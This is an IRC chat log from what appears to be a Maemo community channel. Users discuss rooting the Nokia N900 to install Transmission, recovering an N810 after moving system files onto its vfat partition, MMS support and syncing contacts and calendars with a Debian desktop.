| 18:56.28 | RST38h | i.e. even if you compileit for x86, it won'thelp you much |
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| 18:56.34 | melanor9 | okay. is there any good starter docs on armel arch? |
| 18:56.43 | RST38h | google. |
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| 18:57.52 | melanor9 | mkay |
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| 18:59.23 | melanor9 | http://pastebin.com/3vCMay6j |
| 18:59.28 | melanor9 | have it worked ? :) |
| 18:59.44 | melanor9 | rst38h: google is all fine and dandy |
| 18:59.57 | melanor9 | but i'f you happen to ask a question on random forum |
| 19:00.15 | melanor9 | and got reasonable reply⦠you are in NA :) |
| 19:00.41 | RST38h | if you happen to ask a random question on a random forum, you will get a random reply |
| 19:00.43 | melanor9 | if you got a question in return⦠you are in .IL :) |
| 19:01.12 | RST38h | yes,I am very well acquainted with this phenomenon. Google though. |
| 19:01.24 | melanor9 | if you got an elaborate explanation how retarded you are and why you should commit suicide - you are in russia :) |
| 19:01.42 | RST38h | That too, and make sure you leave us a video. |
| 19:02.02 | melanor9 | i already did :) |
| 19:02.24 | melanor9 | visit chatroulette :))) |
| 19:02.26 | melanor9 | hehehe |
| 19:03.38 | lcuk | melanor9, are you sure it was only a decade since you were last here? |
| 19:04.05 | Noobmonk3y | lcuk, i last used irc before i came here in 2000! |
| 19:04.38 | melanor9 | lcuk, probably more.. |
| 19:04.42 | lcuk | however did you keep yourself away for 10 years? |
| 19:05.35 | melanor9 | err⦠real life ? like socializing and stuff... |
| 19:05.55 | melanor9 | i sense a fat troll coming my way next minute :) |
| 19:06.12 | merlin1991 | hm real life? |
| 19:06.15 | merlin1991 | ~rl |
| 19:06.15 | infobot | it has been said that rl is Real Life (the bad world out there), or known as the Big Blue Box (tm). Conways game using only rational numbers |
| 19:06.38 | merlin1991 | gotta try that one day ;) |
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| 19:09.24 | melanor9 | i still think that scratchbox is retarded as IDE |
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| 19:09.45 | melanor9 | i mean WTF, why dont we have complete emulation of original device |
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| 19:11.11 | lcuk | a complete emulation of hardware would not help :) you would run out of disk space and memory overhead quickly |
| 19:12.12 | kfx | what |
| 19:12.21 | RST38h | lcuk:Says who? =) |
| 19:12.40 | melanor9 | i gighly doubt that |
| 19:12.51 | lcuk | well if it was a complete emulation it would have the same space and memory as main one :) |
| 19:13.04 | melanor9 | np |
| 19:13.08 | melanor9 | i have 8GRAM |
| 19:13.10 | kfx | which isn't particularly much |
| 19:13.16 | RST38h | lcuk: Which, for Maemo hw, is not that difficult to achieve =) |
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| 20:12.23 | maltemax | Hello people. Is it advisable for non-developers to "break your device" â this is the question my n900 asks me when I go through the guide to install Transmission on it. |
| 20:13.40 | lcuk | maltemax, :) |
| 20:13.40 | FIQ | you're stuck at the gainroot place? |
| 20:13.46 | maltemax | yes |
| 20:13.55 | maltemax | typed command "sudo gainroot" |
| 20:14.03 | FIQ | well, if you know what you're doing and risking, you can install rootsh from appmanager |
| 20:14.07 | FIQ | that will dodge that msg |
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| 20:14.23 | MohammadAG51 | install rootsh with the app manager first |
| 20:14.30 | maltemax | I don't know what I'm doing really, just obediently following the guide |
| 20:14.37 | MohammadAG51 | then use the command root |
| 20:14.47 | FIQ | well, be sure to type exactly what's written then. :) |
| 20:14.57 | maltemax | Ok I will (; |
| 20:14.58 | FIQ | but yea, install rootsh before sudo gainroot works |
| 20:15.03 | MohammadAG51 | then install transmission from the app manager |
| 20:15.12 | FIQ | that works too |
| 20:15.42 | maltemax | I don't seem to find transmission from the app manager, but that would be the easiest thing of course |
| 20:15.49 | lcuk | the question was whether non-developers should get root |
| 20:16.12 | maltemax | lcuk, yes that was my question too |
| 20:16.35 | FIQ | i've got root, bricked my device, done things none else with a brain would do, and i'm not a dev. :D |
| 20:16.42 | lcuk | http://maemo.org/packages/view/transmission/ |
| 20:16.50 | FIQ | but i never do things that i've no idea what i'm doing |
| 20:16.58 | lcuk | transmission is in the -testing repository |
| 20:18.43 | lcuk | ie, you shouldnt need to touch the console or even install rootsh, but its an incomplete test package that likely will drain stuff (since it downloads stuff all the time) |
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| 20:19.12 | maltemax | lcuk, it will drain my battery if I have it open, right? |
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| 20:20.00 | maltemax | That's okay though. I just want to download torrents everynow and then, e.g. eipedia packets |
| 20:20.02 | delt | Hello |
| 20:20.03 | maltemax | evipedia* |
| 20:20.14 | SpeedEvil | evo |
| 20:20.16 | SpeedEvil | I think |
| 20:20.23 | maltemax | speedevil, yes |
| 20:20.49 | delt | nokia n810: any way to see the standard console at boot instead of a white screen with a nokia logo? |
| 20:21.39 | lcuk | delt, afaik, it is possible but requires a whole new kernel etc |
| 20:22.36 | delt | i moved stuff to the internal 2gb flash, forgetting it was a fucking WINDOWZ PARTITION - no more symlinks, no more user id's, no more group id's, no more file permissions..... *sigh* |
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| 20:23.39 | delt | now i don't have the right USB cable or adapter to plug this to the PC.... so no way to un-brick it for now :/ |
| 20:24.13 | delt | (why didn't they use a standard mini-usb plug like everyone else btw??) |
| 20:25.07 | SpeedEvil | micro is the new standard for all phones |
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| 20:25.15 | luke-jr | N900 isn't a phone |
| 20:25.16 | SpeedEvil | It's more reliable than mini. |
| 20:25.16 | luke-jr | pwnt |
| 20:25.32 | SpeedEvil | stabs luke-jr in the eye with a baguette. |
| 20:25.32 | delt | so the UI needs something in /usr/share/ BEFORE /media/mmcwhatever is mounted.... |
| 20:25.43 | ieatlint | except on the n900, where the connector falls off :P |
| 20:25.44 | RST38h | uses n900 to make phone calls hence iti s a phone. |
| 20:25.53 | luke-jr | wonders if it's possible to build a normal USB port that can also take a Micro or Mini |
| 20:26.13 | Corsac | everybody knows it's a mobile computer! |
| 20:27.27 | luke-jr | it's a Personal Mobile Tool! |
| 20:28.28 | ieatlint | how about a Personal Mobile Smartphone, so we can say we're PMSing when using it |
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| 20:28.55 | delt | pda, tablet, personal mobile/whatever, pocket computer, .... pick your choose =) |
| 20:29.51 | delt | anyway, looks like i'm gonna need some cable or adapter to fix it *sigh* ..... :/ |
| 20:30.29 | SpeedEvil | delt: You don't have the cable that comes with it? |
| 20:30.44 | delt | i think my brother has it |
| 20:32.00 | delt | i just moved some stuff out of /usr/share (icons, sounds, and some games stuff) to the internal 2GB and symlinked it... (the / partition had like 2mb free) |
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| 20:32.44 | delt | apparently, either the permissions/user/group-id's were necessary, or that stuff is necessary -before- the other filesystem gets mounted. |
| 20:33.38 | SpeedEvil | it's probably noexec |
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| 20:33.53 | delt | anyway, first thing im doing when i get the cable (or an adapter) is NUKE the windowz partition and reformat it ext3 (and change the entry in /etc/fstab) |
| 20:34.12 | MNZ | delt, apparently, it's not that easy |
| 20:34.18 | SpeedEvil | delt: What I did. |
| 20:34.25 | MNZ | it IS that easy? |
| 20:34.26 | SpeedEvil | delt: tar up mydocs, put it in /home |
| 20:34.41 | Mece | heh the fonearena battle is raging :J |
| 20:34.41 | delt | yeah, i remember seeing noexec in the fstab |
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| 20:34.44 | MNZ | I was told that some stuff depends on there being a vfat partition? |
| 20:34.48 | Mece | :) even |
| 20:34.56 | SpeedEvil | delt: Then unmount mydocs, fdisk it to 4G. |
| 20:34.56 | delt | SpeedEvil: of course, i keep a copy of everything that was on it first!! |
| 20:35.13 | SpeedEvil | Put another data partition onthere at 26ishG |
| 20:35.18 | SpeedEvil | make that ext3 |
| 20:35.22 | delt | 4G? |
| 20:35.23 | delt | oh |
| 20:35.30 | Mece | http://www.fonearena.com/blog/23073/smartphone-championship-semi-final-nokia-n900-vs-palm-pre.html |
| 20:35.37 | SpeedEvil | this way there is an easy way for the normal software to work as it normally does. |
| 20:36.04 | SpeedEvil | And for it to plugin to PCs and printers and ... |
| 20:36.14 | SpeedEvil | But still have lots of storage for stuff. |
| 20:37.00 | MNZ | Mece, yay! the N900 is winning! |
| 20:37.23 | delt | what about just tar.gz the whole 2gb windows partition, fdisk and reformat it to ext3/whatever decent FS, then put the stuff back |
| 20:37.37 | Mece | MNZ, it's losing ground fast. was up by 400 a few minutes ago. |
| 20:38.03 | MNZ | it's up by 336 now |
| 20:38.10 | MNZ | vote folks~ |
| 20:38.22 | MNZ | s/~/!/ |
| 20:38.55 | delt | SpeedEvil: what about just tar.gz the whole 2gb windows partition from the PC onto harddisk, fdisk and reformat it to ext3/whatever decent FS, then put the files back...? |
| 20:39.10 | SpeedEvil | delt: Should work |
| 20:39.13 | SpeedEvil | delt: errr |
| 20:39.20 | SpeedEvil | delt: I know at one point that that did not work |
| 20:39.29 | SpeedEvil | delt: I do not kno if it continues to not work. |
| 20:39.52 | SpeedEvil | delt: Also - mydocs being vgat means you have lots more compartibility than ext2 |
| 20:39.59 | delt | some process needed a sandbox/free-for-all mess with no perms/uids? |
| 20:40.34 | MNZ | Google Ad: Unlocked N900 -$110.99 N900Phone.LightInTheBox.com |
| 20:40.35 | MNZ | Amazing N900 With 2 Sim Cards. Free 2G Card, 7/24 Live Support! |
| 20:40.35 | delt | gives 0 shit(s) about compatibility with windows. |
| 20:41.08 | RST38h | wow |
| 20:41.15 | Mece | hehhe |
| 20:41.19 | RST38h | Is that live support in Chinese? |
| 20:41.52 | MNZ | I sure hope it's in English because I just ordered one. Finally, an unlocked N900. What took them so long? |
| 20:41.59 | delt | heh infobot =) |
| 20:42.01 | delt | hello worlf |
| 20:42.02 | delt | s/worlf/world/ |
| 20:42.07 | delt | =) |
| 20:42.17 | MNZ | ~botsnack |
| 20:42.17 | infobot | MNZ: aw, gee |
| 20:42.33 | delt | wako wako wako wako |
| 20:42.33 | delt | s/wako/waka/g |
| 20:42.40 | delt | hehee! |
| 20:43.42 | delt | wako wako wako wako |
| 20:43.44 | delt | s/wako/waka/ |
| 20:43.51 | delt | smart bot :D |
| 20:44.06 | delt | uses sed directly? |
| 20:47.08 | maltemax | lcuk: If I want to download a package from the link you posted, which one should I take? |
| 20:47.36 | maltemax | lcuk: Transmission that is (sorry for being slow here, needed to read up on some of the stuff) |
| 20:47.53 | maltemax | http://maemo.org/packages/view/transmission/ |
| 20:49.26 | delt | anyway.... gonna go get/find/look for the cable or "a cable" :/ |
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| 20:52.00 | delt | oh btw, what limits the miniSD to 8 gigs? |
| 20:52.26 | delt | if the software supports it, you could stick a microSD 32gb in a micro-to-mini adapter...? |
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| 20:52.54 | SpeedEvil | yes. |
| 20:53.01 | SpeedEvil | 32 should be supported |
| 20:53.11 | SpeedEvil | it's just it wasn't available at the time |
| 20:53.12 | delt | as in, compile the kernel with more recent drivers for sd cards |
| 20:53.21 | SpeedEvil | No, I mean by default |
| 20:53.32 | SpeedEvil | there is no change between 8 and 32 |
| 20:53.40 | delt | n810 came out i think in 2008? |
| 20:54.10 | SpeedEvil | oops. |
| 20:54.18 | delt | 16gb microsd cards were available by then...? |
| 20:54.24 | SpeedEvil | I _think_ it shoul work OK - but I don't have an 810 |
| 20:54.30 | SpeedEvil | certainly not |
| 20:54.40 | SpeedEvil | they were only available earlier this year |
| 20:55.02 | delt | heh... my notion of time is slightly out of whack -) |
| 20:55.43 | delt | anyway, do you remember what didn't work with the internal 2gb flash being just one ext2/3 partition? |
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| 20:56.30 | delt | oh, and what would be the /dev names for individual partitions on a flash/sd card? |
| 20:57.01 | delt | (from maemo on the n810's point of view) |
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| 21:05.53 | MohammadAG51 | does the N900 support C#? |
| 21:06.50 | tripzero | mono is not in the repo iirc |
| 21:07.01 | tripzero | but imho, would be cool if it was... |
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| 21:14.05 | Noobmonk3y | MohammadAG, yes'ish |
| 21:14.07 | Noobmonk3y | i hear |
| 21:14.14 | Noobmonk3y | not that i would actually know ;) |
| 21:14.51 | fnordianslip | MohammadAG51: I've found my USB F/F adapter. You still need something? |
| 21:16.38 | lcuk | MohammadAG51, there is a mono compiler |
| 21:16.40 | lcuk | but to use it |
| 21:16.43 | MohammadAG | fnordianslip, nope, just keep it close, you'll need it in a few days :P |
| 21:16.46 | lcuk | you have to add new things into scratchbox |
| 21:17.02 | fnordianslip | okey dokey :) |
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| 21:47.17 | MohammadAG | has a suggestion, please consider it, pretty please? :P |
| 21:47.27 | MohammadAG | Israel for next year's conference! :P |
| 21:48.22 | kerio | you mean palestine? |
| 21:49.16 | MohammadAG | indifferent tbh |
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| 21:49.26 | MohammadAG | but you're more likely to hear rumors about being shot there than in IL :P |
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| 21:59.50 | Malin_ | anyone using the N900 in Norway with netcom, and now how to recive mms without opening via the mms-reader on netcom's webpage? |
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| 22:02.32 | lcuk | hmm Malin_ |
| 22:02.54 | lcuk | were the defaults already available on the APN config? |
| 22:04.37 | SpeedEvil | fmms |
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| 22:04.44 | SpeedEvil | malin |
| 22:06.11 | lcuk | Malin_ even. SpeedEvil hmm I hadn't considered that fmms isn't actually on everyones machines yet! |
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| 22:09.18 | kerio | fmms is not, nor it will be, on my n900 |
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| 22:10.54 | lcuk | kerio, can I ask why? |
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| 22:11.44 | kerio | because MMSes are just a way for phone companies to make even *more* money by transporting bits |
| 22:12.06 | kerio | crappy specs, crappy support on most phones, stupid restrictions on most carriers, and overall absolutely *no* advantage over emails |
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| 22:12.53 | lcuk | kerio, it has many advantages and the restrictions are there based on historical stuff, every codebase is the same |
| 22:13.04 | kerio | what advantages? |
| 22:13.21 | lcuk | but the power of sending a 0 config (normally!) photograph to someone person to person is immense |
| 22:13.24 | kerio | my phone company sends me a sms when i get an email on the associated email address |
| 22:13.42 | kerio | lcuk: except that most people don't have MMSes configured |
| 22:13.45 | kerio | and won't care |
| 22:13.46 | lcuk | my phone company sends me a photo when someonesends it me |
| 22:13.56 | lcuk | and have done on every phone I have used |
| 22:14.08 | lcuk | i have never gotten an email on my phone |
| 22:14.16 | lcuk | well, outside gmail |
| 22:14.41 | lcuk | my mum hasnt got email configured |
| 22:14.59 | kerio | [insert ur mom joke] |
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| 22:17.39 | lcuk | kerio, grow up |
| 22:17.54 | kerio | i don't want to grow up :( |
| 22:19.17 | lcuk | reasonable enough, does your mum have email setup on her phone? |
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| 22:29.26 | kerio | lcuk: well, no |
| 22:29.30 | kerio | but she has a crappy phone anyway |
| 22:29.40 | kerio | not worth watching photos on such a tiny screen |
| 22:29.50 | kerio | plus i'm not sure her MMSes work |
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| 22:45.34 | lcuk | kerio, try it, surprise her and send a pic of you smiling :) |
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| 22:55.31 | Kevvy9 | Click ------> #tdwiki-voteout <------ click it |
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| 23:15.56 | Malin_ | lcuk: I have fmms on my phone, so I am pretty sure I can send mms, but I have not sucseeded in reciving one yet |
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| 23:23.51 | Malin_ | I hear someone says I have to be disconnected from wifi, to recive mmms |
| 23:23.57 | Malin_ | ooops, mms |
| 23:24.09 | Malin_ | But it late here, so I have to go to bed :) |
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| 23:37.27 | massoud | Hi there late :) |
| 23:37.58 | massoud | what should be the best/nicest way to sync my n900 w/ my debian ? |
| 23:39.15 | kfx | sync what |
| 23:40.02 | massoud | sync agenda/contacts/messages |
| 23:40.30 | massoud | kfx : i am using kontact/kde on my debian |
| 23:41.08 | kfx | massoud: that has been the subject of a kde google summer of code project two years running |
| 23:41.20 | jarkkom | I guess you could make both sync to google calendar |
| 23:41.26 | kfx | they almost got it working last year and this year they started from scratch |
| 23:41.34 | jarkkom | except it keeps on breaking in mysterious ways |
| 23:41.36 | kfx | so currently yes you need some form of middleware |
| 23:42.11 | jarkkom | actual calendar database is just sqlite database though, so hacking that isn't too difficult |
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| 23:42.48 | massoud | kfx: any middleware working in the meantime ? |
| 23:43.02 | massoud | thanks for this update on the g summer of code info |
| 23:43.40 | kfx | I've had reasonable results using sogo,syncevolution,and kontact or thunderbird |
| 23:43.48 | kfx | but sogo is not easy to set up |
| 23:44.18 | kfx | you might try using scheduleworld or some such, or if you have no objections to google just sync to their stuff on both ends |
| 23:46.37 | massoud | kfx: so i should try sogo, syncrevolution and kontact ? |
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| 23:47.04 | kfx | massoud: you need to be very good at configuring software on linux for sogo to be your solution |
| 23:47.31 | kfx | it requres installing a large-ish gnustep software stack, then sogo, then a funambol connector with a correctly configured tomcat instance |
| 23:47.51 | kfx | I used centos to simplify things a bit, but it is not a trivial task |
| 23:48.14 | kfx | then you have to manually configure syncevolution the old-fashioned "create a million text files" method |
| 23:48.22 | kfx | and also spend a lot of time praying |
| 23:50.24 | massoud | kfx: wouah funambol + tomcat :) |
| 23:50.44 | kfx | funambol ships tomcat, that's how it talks to the world by default |
| 23:51.09 | kfx | after several days of trying to cram a wildcard cert plus intermediate certs into tomcat I just proxied the goddamn thing behind apache :/ |
| 23:51.24 | luke-jr | lol |
| 23:51.31 | massoud | lol |
| 23:52.27 | kfx | I hate just about every aspect of java |
| 23:52.38 | kfx | but the keystore is phenomenally retarded |
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